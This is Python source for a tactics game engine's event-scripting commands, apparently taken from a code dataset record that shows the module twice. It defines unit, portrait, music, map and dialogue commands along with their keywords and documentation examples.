= 'kill_unit'\n nickname = 'kill'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n flags = ['immediate']\n\n\nclass RemoveAllUnits(EventCommand):\n nid = 'remove_all_units'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass RemoveAllEnemies(EventCommand):\n nid = 'remove_all_enemies'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass InteractUnit(EventCommand):\n nid = 'interact_unit'\n nickname = 'interact'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit', 'Unit']\n optional_keywords = ['CombatScript', 'Ability']\n\n\nclass SetCurrentHP(EventCommand):\n nid = 'set_current_hp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass SetCurrentMana(EventCommand):\n nid = 'set_current_mana'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass Resurrect(EventCommand):\n nid = 'resurrect'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['GlobalUnit']\n\n\nclass Reset(EventCommand):\n nid = 'reset'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasAttacked(EventCommand):\n nid = 'has_attacked'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasTraded(EventCommand):\n nid = 'has_traded'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass AddGroup(EventCommand):\n nid = 'add_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['StartingGroup', 'EntryType', 'Placement']\n flags = ['create']\n\n\nclass SpawnGroup(EventCommand):\n nid = 'spawn_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'CardinalDirection', 'StartingGroup']\n optional_keywords = ['EntryType', 'Placement']\n flags = ['create', 'no_block', 'no_follow']\n\n\nclass MoveGroup(EventCommand):\n nid = 'move_group'\n nickname = 'morph_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'StartingGroup']\n optional_keywords = ['MovementType', 'Placement']\n flags = ['no_block', 'no_follow']\n\n\nclass RemoveGroup(EventCommand):\n nid = 'remove_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['RemoveType']\n\n\nclass GiveItem(EventCommand):\n nid = 'give_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner', 'no_choice', 'droppable']\n\n\nclass RemoveItem(EventCommand):\n nid = 'remove_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner']\n\n\nclass GiveMoney(EventCommand):\n nid = 'give_money'\n tag = Tags.GAME_VARS\n keywords = ['Integer']\n optional_keywords = ['Party']\n flags = ['no_banner']\n\n\nclass GiveBexp(EventCommand):\n nid = 'give_bexp'\n tag = Tags.GAME_VARS\n keywords = ['Condition']\n optional_keywords = ['Party', 'String']\n flags = ['no_banner']\n\n\nclass GiveExp(EventCommand):\n nid = 'give_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass SetExp(EventCommand):\n nid = 'set_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass GiveWexp(EventCommand):\n nid = 'give_wexp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'WeaponType', 'Integer']\n flags = ['no_banner']\n\n\nclass GiveSkill(EventCommand):\n nid = 'give_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass RemoveSkill(EventCommand):\n nid = 'remove_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass ChangeAI(EventCommand):\n nid = 'change_ai'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'AI']\n\n\nclass ChangeTeam(EventCommand):\n nid = 'change_team'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Team']\n\n\nclass ChangePortrait(EventCommand):\n nid = 'change_portrait'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PortraitNid']\n\n\nclass ChangeStats(EventCommand):\n nid = 'change_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass SetStats(EventCommand):\n nid = 'set_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass AutolevelTo(EventCommand):\n nid = 'autolevel_to'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'String']\n flags = ['hidden']\n\n\nclass SetModeAutolevels(EventCommand):\n nid = 'set_mode_autolevels'\n tag = Tags.GAME_VARS\n keywords = ['String']\n flags = ['hidden']\n\n\nclass Promote(EventCommand):\n nid = 'promote'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass ChangeClass(EventCommand):\n nid = 'change_class'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass AddTag(EventCommand):\n nid = 'add_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass RemoveTag(EventCommand):\n nid = 'remove_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass AddTalk(EventCommand):\n nid = 'add_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass RemoveTalk(EventCommand):\n nid = 'remove_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass AddLore(EventCommand):\n nid = 'add_lore'\n nickname = 'unlock_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass RemoveLore(EventCommand):\n nid = 'remove_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass AddBaseConvo(EventCommand):\n nid = 'add_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IgnoreBaseConvo(EventCommand):\n nid = 'ignore_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass RemoveBaseConvo(EventCommand):\n nid = 'remove_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IncrementSupportPoints(EventCommand):\n nid = 'increment_support_points'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']\n\n\nclass AddMarketItem(EventCommand):\n nid = 'add_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass RemoveMarketItem(EventCommand):\n nid = 'remove_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass AddRegion(EventCommand):\n nid = 'add_region'\n tag = Tags.REGION\n keywords = ['Nid', 'Position', 'Size', 'RegionType']\n optional_keywords = ['String']\n flags = ['only_once']\n\n\nclass RegionCondition(EventCommand):\n nid = 'region_condition'\n tag = Tags.REGION\n keywords = ['Nid', 'Condition']\n\n\nclass RemoveRegion(EventCommand):\n nid = 'remove_region'\n tag = Tags.REGION\n keywords = ['Nid']\n\n\nclass ShowLayer(EventCommand):\n nid = 'show_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass HideLayer(EventCommand):\n nid = 'hide_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass AddWeather(EventCommand):\n nid = 'add_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass RemoveWeather(EventCommand):\n nid = 'remove_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass ChangeObjectiveSimple(EventCommand):\n nid = 'change_objective_simple'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveWin(EventCommand):\n nid = 'change_objective_win'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveLoss(EventCommand):\n nid = 'change_objective_loss'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass SetPosition(EventCommand):\n nid = 'set_position'\n tag = Tags.MISCELLANEOUS\n keywords = ['String']\n\n\nclass MapAnim(EventCommand):\n nid = 'map_anim'\n tag = Tags.TILEMAP\n keywords = ['MapAnim', 'Position']\n flags = ['no_block']\n\n\nclass ArrangeFormation(EventCommand):\n nid = 'arrange_formation'\n tag = Tags.MISCELLANEOUS\n\n\nclass Prep(EventCommand):\n nid = 'prep'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool', 'Music']\n\n\nclass Base(EventCommand):\n nid = 'base'\n tag = Tags.MISCELLANEOUS\n keywords = ['Panorama']\n optional_keywords = ['Music']\n\n\nclass Shop(EventCommand):\n nid = 'shop'\n tag = Tags.MISCELLANEOUS\n keywords = ['Unit', 'ItemList']\n optional_keywords = ['ShopFlavor']\n\n\nclass Choice(EventCommand):\n nid = 'choice'\n tag = Tags.MISCELLANEOUS\n keywords = ['Nid', 'String', 'StringList']\n optional_keywords = ['Orientation']\n\n\nclass ChapterTitle(EventCommand):\n nid = 'chapter_title'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Music', 'String']\n\n\nclass Alert(EventCommand):\n nid = 'alert'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass VictoryScreen(EventCommand):\n nid = 'victory_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass RecordsScreen(EventCommand):\n nid = 'records_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass LocationCard(EventCommand):\n nid = 'location_card'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass Credits(EventCommand):\n nid = 'credits'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String', 'String']\n flags = ['wait', 'center', 'no_split']\n\n\nclass Ending(EventCommand):\n nid = 'ending'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['Portrait', 'String', 'String']\n\n\nclass PopDialog(EventCommand):\n nid = 'pop_dialog'\n tag = Tags.DIALOGUE_TEXT\n desc = \"\"\"\nRemoves the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.\n\nExample:\n\n```\nending;Coyote;Coyote, Man of Mystery;Too mysterious for words.\ntransition;Close\npop_dialog\ntransition;Open\n```\n \"\"\"\n\n\nclass Unlock(EventCommand):\n nid = 'unlock'\n tag = Tags.REGION\n keywords = ['Unit']\n\n\nclass FindUnlock(EventCommand):\n nid = 'find_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass SpendUnlock(EventCommand):\n nid = 'spend_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass TriggerScript(EventCommand):\n nid = 'trigger_script'\n tag = Tags.MISCELLANEOUS\n keywords = ['Event']\n optional_keywords = ['GlobalUnit', 'GlobalUnit']\n\n\nclass ChangeRoaming(EventCommand):\n nid = 'change_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Turn free roam mode on or off'\n keywords = ['Bool']\n\n\nclass ChangeRoamingUnit(EventCommand):\n nid = 'change_roaming_unit'\n tag = Tags.MISCELLANEOUS\n desc = \"Changes the level's current roaming unit.\"\n keywords = ['Unit']\n\n\nclass CleanUpRoaming(EventCommand):\n nid = 'clean_up_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Removes all units other than the roaming unit'\n keywords = []\n\n\nclass AddToInitiative(EventCommand):\n nid = 'add_to_initiative'\n tag = Tags.MISCELLANEOUS\n desc = (\n 'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.'\n )\n keywords = ['Unit', 'Integer']\n\n\nclass MoveInInitiative(EventCommand):\n nid = 'move_in_initiative'\n tag = Tags.MISCELLANEOUS\n desc = 'Moves the initiative of the specified unit.'\n keywords = ['Unit', 'Integer']\n\n\n<mask token>\n", "step-5": "from enum import Enum\nfrom app.utilities.data import Prefab\n\nclass Tags(Enum):\n FLOW_CONTROL = 'Flow Control'\n MUSIC_SOUND = 'Music/Sound'\n PORTRAIT = 'Portrait'\n BG_FG = 'Background/Foreground'\n DIALOGUE_TEXT = 'Dialogue/Text'\n CURSOR_CAMERA = 'Cursor/Camera'\n LEVEL_VARS = 'Level-wide Unlocks and Variables'\n GAME_VARS = 'Game-wide Unlocks and Variables'\n TILEMAP = 'Tilemap'\n REGION = 'Region'\n ADD_REMOVE_INTERACT_WITH_UNITS = 'Add/Remove/Interact with Units'\n MODIFY_UNIT_PROPERTIES = 'Modify Unit Properties'\n UNIT_GROUPS = 'Unit Groups'\n MISCELLANEOUS = 'Miscellaneous'\n HIDDEN = 'Hidden'\n\nclass EventCommand(Prefab):\n nid: str = None\n nickname: str = None\n tag: Tags = Tags.HIDDEN\n desc: str = ''\n\n keywords: list = []\n optional_keywords: list = []\n flags: list = []\n\n values: list = []\n display_values: list = []\n\n def __init__(self, values=None, disp_values=None):\n self.values = values or []\n self.display_values = disp_values or values or []\n\n def save(self):\n # Don't bother saving display values if they are identical\n if self.display_values == self.values:\n return self.nid, self.values\n else:\n return self.nid, self.values, self.display_values\n\n def to_plain_text(self):\n if self.display_values:\n return ';'.join([self.nid] + self.display_values)\n else:\n return ';'.join([self.nid] + self.values)\n\n def __repr__(self):\n return self.to_plain_text()\n\nclass Comment(EventCommand):\n nid = \"comment\"\n nickname = '#'\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\n**Lines** starting with '#' will be ignored.\n \"\"\"\n\n def to_plain_text(self):\n return self.values[0]\n\nclass If(EventCommand):\n nid = \"if\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nIf the _Condition_ returns true, the block under this command will be executed. If it returns false, the script will search for the next **elif**, **else**, or **end** command before proceeding. If it is not a valid Python expression, the result will be treated as false.\n\nRemember to end your **if** blocks with **end**.\n\nThe indentation is not required, but is recommended for organization of the conditional blocks.\n\nExample:\n\n```\nif;game.check_dead('Eirika')\n lose_game\nelif;game.check_dead('Lyon')\n win_game\nelse\n u;Eirika\n s;Eirika;Nice!\n r;Eirika\nend\n```\n \"\"\"\n\n keywords = ['Condition']\n\nclass Elif(EventCommand):\n nid = \"elif\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nWorks exactly like the **if** statement, but is called only if the previous **if** or **elif** returned false.\n\nIn the following example, the **elif** will only be processed if `if;game.check_dead('Eirika')` return false.\n\nExample:\n\n```\nif;game.check_dead('Eirika')\n lose_game\nelif;game.check_dead('Lyon')\n win_game\nelse\n u;Eirika\n s;Eirika;Nice!\n r;Eirika\nend\n```\n \"\"\"\n\n keywords = ['Condition']\n\nclass Else(EventCommand):\n nid = \"else\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nDefines a block to be executed only if the previous **if** or **elif** returned false.\n\nExample:\n\n```\nif;game.check_dead('Eirika')\n lose_game\nelif;game.check_dead('Lyon')\n win_game\nelse\n u;Eirika\n s;Eirika;Nice!\n r;Eirika\nend\n```\n \"\"\"\n\nclass End(EventCommand):\n nid = \"end\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nEnds a conditional block. Refer to the **if** command for more information.\n \"\"\"\n\nclass Break(EventCommand):\n nid = \"break\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nImmediately ends the current event.\n \"\"\"\n\n\nclass Wait(EventCommand):\n nid = \"wait\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nPauses the execution of the script for _Time_ milliseconds.\n\nOften used after a scene transition, cursor movement, or reinforcements to give the player a chance to take in the scene.\n \"\"\"\n\n keywords = ['Time']\n\nclass EndSkip(EventCommand):\n nid = \"end_skip\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nIf the player was skipping through the event script, stop the skip here. Used to prevent a single skip from skipping through an entire event.\n \"\"\"\n\nclass Music(EventCommand):\n nid = \"music\"\n nickname = \"m\"\n tag = Tags.MUSIC_SOUND\n desc = \\\n \"\"\"\nFades in _Music_ over the course of _Time_ milliseconds. Fade in defaults to 400 milliseconds.\n \"\"\"\n\n keywords = ['Music']\n optional_keywords = ['Time'] # How long to fade in (default 400)\n\nclass MusicClear(EventCommand):\n nid = \"music_clear\"\n tag = Tags.MUSIC_SOUND\n\n desc = \\\n \"\"\"\nFades out the currently playing song over the course of _Time_ milliseconds. Also clears the entire song stack. Fade out defaults to 400 milliseconds.\n \"\"\"\n\n optional_keywords = ['Time'] # How long to fade out\n\nclass Sound(EventCommand):\n nid = \"sound\"\n tag = Tags.MUSIC_SOUND\n\n desc = \\\n \"\"\"\nPlays the _Sound_ once.\n \"\"\"\n\n keywords = ['Sound']\n\nclass ChangeMusic(EventCommand):\n nid = 'change_music'\n tag = Tags.MUSIC_SOUND\n\n desc = \\\n \"\"\"\nChanges the phase theme music. For instance, you could use this command to change the player phase theme halfway through the chapter.\n \"\"\"\n\n keywords = ['PhaseMusic', 'Music']\n\nclass AddPortrait(EventCommand):\n nid = \"add_portrait\"\n nickname = \"u\"\n tag = Tags.PORTRAIT\n\n desc = \\\n \"\"\"\nAdds a portrait to the screen.\n\nExtra flags:\n\n1. _mirror_: Portrait will face opposite expected direction.\n2. _low_priority_: Portrait will appear behind all other portraits on the screen.\n3. _immediate_: Portrait will not fade in.\n4. _no_block_: Portrait will fade in, but will not pause execution of event script while doing so.\n \"\"\"\n\n keywords = ['Portrait', 'ScreenPosition']\n optional_keywords = ['Slide', 'ExpressionList']\n flags = [\"mirror\", \"low_priority\", \"immediate\", \"no_block\"]\n\nclass MultiAddPortrait(EventCommand):\n nid = \"multi_add_portrait\"\n nickname = \"uu\"\n tag = Tags.PORTRAIT\n\n desc = \\\n \"\"\"\nAdds more than one portrait to the screen at the same time. Accepts 2-4 portraits and their associated _ScreenPosition_ as input.\n \"\"\"\n\n keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition']\n optional_keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition']\n\nclass RemovePortrait(EventCommand):\n nid = \"remove_portrait\"\n nickname = \"r\"\n tag = Tags.PORTRAIT\n\n keywords = ['Portrait']\n flags = [\"immediate\", \"no_block\"]\n\nclass MultiRemovePortrait(EventCommand):\n nid = \"multi_remove_portrait\"\n nickname = \"rr\"\n tag = Tags.PORTRAIT\n\n keywords = ['Portrait', 'Portrait']\n optional_keywords = ['Portrait', 'Portrait']\n\nclass MovePortrait(EventCommand):\n nid = \"move_portrait\"\n tag = Tags.PORTRAIT\n\n keywords = ['Portrait', 'ScreenPosition']\n flags = [\"immediate\", \"no_block\"]\n\nclass BopPortrait(EventCommand):\n nid = \"bop_portrait\"\n nickname = \"bop\"\n tag = Tags.PORTRAIT\n\n keywords = ['Portrait']\n flags = [\"no_block\"]\n\nclass Expression(EventCommand):\n nid = \"expression\"\n nickname = \"e\"\n tag = Tags.PORTRAIT\n\n keywords = ['Portrait', 'ExpressionList']\n\nclass Speak(EventCommand):\n nid = \"speak\"\n nickname = \"s\"\n tag = Tags.DIALOGUE_TEXT\n\n keywords = ['Speaker', 'Text']\n optional_keywords = ['ScreenPosition', 'Width', 'DialogVariant']\n flags = ['low_priority']\n\nclass Transition(EventCommand):\n nid = \"transition\"\n nickname = \"t\"\n tag = Tags.BG_FG\n\n optional_keywords = ['Direction', 'Speed', 'Color3']\n\nclass Background(EventCommand):\n # Also does remove background\n nid = \"change_background\"\n nickname = \"b\"\n tag = Tags.BG_FG\n\n optional_keywords = ['Panorama']\n flags = [\"keep_portraits\"]\n\nclass DispCursor(EventCommand):\n nid = \"disp_cursor\"\n tag = Tags.CURSOR_CAMERA\n\n keywords = [\"Bool\"]\n\nclass MoveCursor(EventCommand):\n nid = \"move_cursor\"\n nickname = \"set_cursor\"\n tag = Tags.CURSOR_CAMERA\n\n keywords = [\"Position\"]\n flags = [\"immediate\"]\n\nclass CenterCursor(EventCommand):\n nid = \"center_cursor\"\n tag = Tags.CURSOR_CAMERA\n\n keywords = [\"Position\"]\n flags = [\"immediate\"]\n\nclass FlickerCursor(EventCommand):\n nid = 'flicker_cursor'\n nickname = 'highlight'\n tag = Tags.CURSOR_CAMERA\n\n keywords = [\"Position\"]\n flags = [\"immediate\"]\n\nclass GameVar(EventCommand):\n nid = 'game_var'\n tag = Tags.GAME_VARS\n\n keywords = [\"Nid\", \"Condition\"]\n\nclass IncGameVar(EventCommand):\n nid = 'inc_game_var'\n tag = Tags.GAME_VARS\n\n keywords = [\"Nid\"]\n optional_keywords = [\"Condition\"]\n\nclass LevelVar(EventCommand):\n nid = 'level_var'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"Nid\", \"Condition\"]\n\nclass IncLevelVar(EventCommand):\n nid = 'inc_level_var'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"Nid\"]\n optional_keywords = [\"Condition\"]\n\nclass WinGame(EventCommand):\n nid = 'win_game'\n tag = Tags.LEVEL_VARS\n\nclass LoseGame(EventCommand):\n nid = 'lose_game'\n tag = Tags.LEVEL_VARS\n\nclass ActivateTurnwheel(EventCommand):\n nid = 'activate_turnwheel'\n tag = Tags.MISCELLANEOUS\n\n # Whether to force the player to move the turnwheel back\n # defaults to true\n optional_keywords = ['Bool']\n\nclass BattleSave(EventCommand):\n nid = 'battle_save'\n tag = Tags.MISCELLANEOUS\n\nclass ChangeTilemap(EventCommand):\n nid = 'change_tilemap'\n tag = Tags.TILEMAP\n\n keywords = [\"Tilemap\"]\n # How much to offset placed units by\n # Which tilemap to load the unit positions from\n optional_keywords = [\"PositionOffset\", \"Tilemap\"]\n flags = [\"reload\"] # Should place units in previously recorded positions\n\nclass LoadUnit(EventCommand):\n nid = 'load_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"UniqueUnit\"]\n optional_keywords = [\"Team\", \"AI\"]\n\nclass MakeGeneric(EventCommand):\n nid = 'make_generic'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n # Nid, class, level, team, ai, faction, anim variant\n keywords = [\"String\", \"Klass\", \"String\", \"Team\"]\n optional_keywords = [\"AI\", \"Faction\", \"String\", \"ItemList\"]\n\nclass CreateUnit(EventCommand):\n nid = 'create_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n # Unit template and new unit nid (can be '')\n keywords = [\"Unit\", \"String\"]\n # Unit level, position, entrytype, placement\n optional_keywords = [\"String\", \"Position\", \"EntryType\", \"Placement\"]\n\nclass AddUnit(EventCommand):\n nid = 'add_unit'\n nickname = 'add'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"Unit\"]\n optional_keywords = [\"Position\", \"EntryType\", \"Placement\"]\n\nclass MoveUnit(EventCommand):\n nid = 'move_unit'\n nickname = 'move'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"Unit\"]\n optional_keywords = [\"Position\", \"MovementType\", \"Placement\"]\n flags = ['no_block', 'no_follow']\n\nclass RemoveUnit(EventCommand):\n nid = 'remove_unit'\n nickname = 'remove'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"Unit\"]\n optional_keywords = [\"RemoveType\"]\n\nclass KillUnit(EventCommand):\n nid = 'kill_unit'\n nickname = 'kill'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"Unit\"]\n flags = ['immediate']\n\nclass RemoveAllUnits(EventCommand):\n nid = 'remove_all_units'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\nclass RemoveAllEnemies(EventCommand):\n nid = 'remove_all_enemies'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\nclass InteractUnit(EventCommand):\n nid = 'interact_unit'\n nickname = 'interact'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"Unit\", \"Unit\"]\n optional_keywords = [\"CombatScript\", \"Ability\"]\n\nclass SetCurrentHP(EventCommand):\n nid = 'set_current_hp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"Unit\", \"PositiveInteger\"]\n\nclass SetCurrentMana(EventCommand):\n nid = 'set_current_mana'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"Unit\", \"PositiveInteger\"]\n\nclass Resurrect(EventCommand):\n nid = 'resurrect'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = [\"GlobalUnit\"]\n\nclass Reset(EventCommand):\n nid = 'reset'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"Unit\"]\n\nclass HasAttacked(EventCommand):\n nid = 'has_attacked'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"Unit\"]\n\nclass HasTraded(EventCommand):\n nid = 'has_traded'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\nclass AddGroup(EventCommand):\n nid = 'add_group'\n tag = Tags.UNIT_GROUPS\n\n keywords = [\"Group\"]\n optional_keywords = [\"StartingGroup\", \"EntryType\", \"Placement\"]\n flags = [\"create\"]\n\nclass SpawnGroup(EventCommand):\n nid = 'spawn_group'\n tag = Tags.UNIT_GROUPS\n\n keywords = [\"Group\", \"CardinalDirection\", \"StartingGroup\"]\n optional_keywords = [\"EntryType\", \"Placement\"]\n flags = [\"create\", \"no_block\", 'no_follow']\n\nclass MoveGroup(EventCommand):\n nid = 'move_group'\n nickname = 'morph_group'\n tag = Tags.UNIT_GROUPS\n\n keywords = [\"Group\", \"StartingGroup\"]\n optional_keywords = [\"MovementType\", \"Placement\"]\n flags = ['no_block', 'no_follow']\n\nclass RemoveGroup(EventCommand):\n nid = 'remove_group'\n tag = Tags.UNIT_GROUPS\n\n keywords = [\"Group\"]\n optional_keywords = [\"RemoveType\"]\n\nclass GiveItem(EventCommand):\n nid = 'give_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Item\"]\n flags = ['no_banner', 'no_choice', 'droppable']\n\nclass RemoveItem(EventCommand):\n nid = 'remove_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Item\"]\n flags = ['no_banner']\n\nclass GiveMoney(EventCommand):\n nid = 'give_money'\n tag = Tags.GAME_VARS\n\n keywords = [\"Integer\"]\n optional_keywords = [\"Party\"]\n flags = ['no_banner']\n\nclass GiveBexp(EventCommand):\n nid = 'give_bexp'\n tag = Tags.GAME_VARS\n\n keywords = [\"Condition\"]\n optional_keywords = [\"Party\", \"String\"]\n flags = ['no_banner']\n\nclass GiveExp(EventCommand):\n nid = 'give_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"PositiveInteger\"]\n\nclass SetExp(EventCommand):\n nid = 'set_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"PositiveInteger\"]\n\nclass GiveWexp(EventCommand):\n nid = 'give_wexp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"WeaponType\", \"Integer\"]\n flags = ['no_banner']\n\nclass GiveSkill(EventCommand):\n nid = 'give_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Skill\"]\n flags = ['no_banner']\n\nclass RemoveSkill(EventCommand):\n nid = 'remove_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Skill\"]\n flags = ['no_banner']\n\nclass ChangeAI(EventCommand):\n nid = 'change_ai'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"AI\"]\n\nclass ChangeTeam(EventCommand):\n nid = 'change_team'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\", \"Team\"]\n\nclass ChangePortrait(EventCommand):\n nid = 'change_portrait'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\", \"PortraitNid\"]\n\nclass ChangeStats(EventCommand):\n nid = 'change_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\", \"StatList\"]\n flags = ['immediate']\n\nclass SetStats(EventCommand):\n nid = 'set_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\", \"StatList\"]\n flags = ['immediate']\n\nclass AutolevelTo(EventCommand):\n nid = 'autolevel_to'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n # Second argument is level that is eval'd\n keywords = [\"GlobalUnit\", \"String\"]\n # Whether to actually change the unit's level\n flags = [\"hidden\"]\n\nclass SetModeAutolevels(EventCommand):\n nid = 'set_mode_autolevels'\n tag = Tags.GAME_VARS\n keywords = [\"String\"]\n # Whether to actually change the unit's level\n flags = [\"hidden\"]\n\nclass Promote(EventCommand):\n nid = 'promote'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = 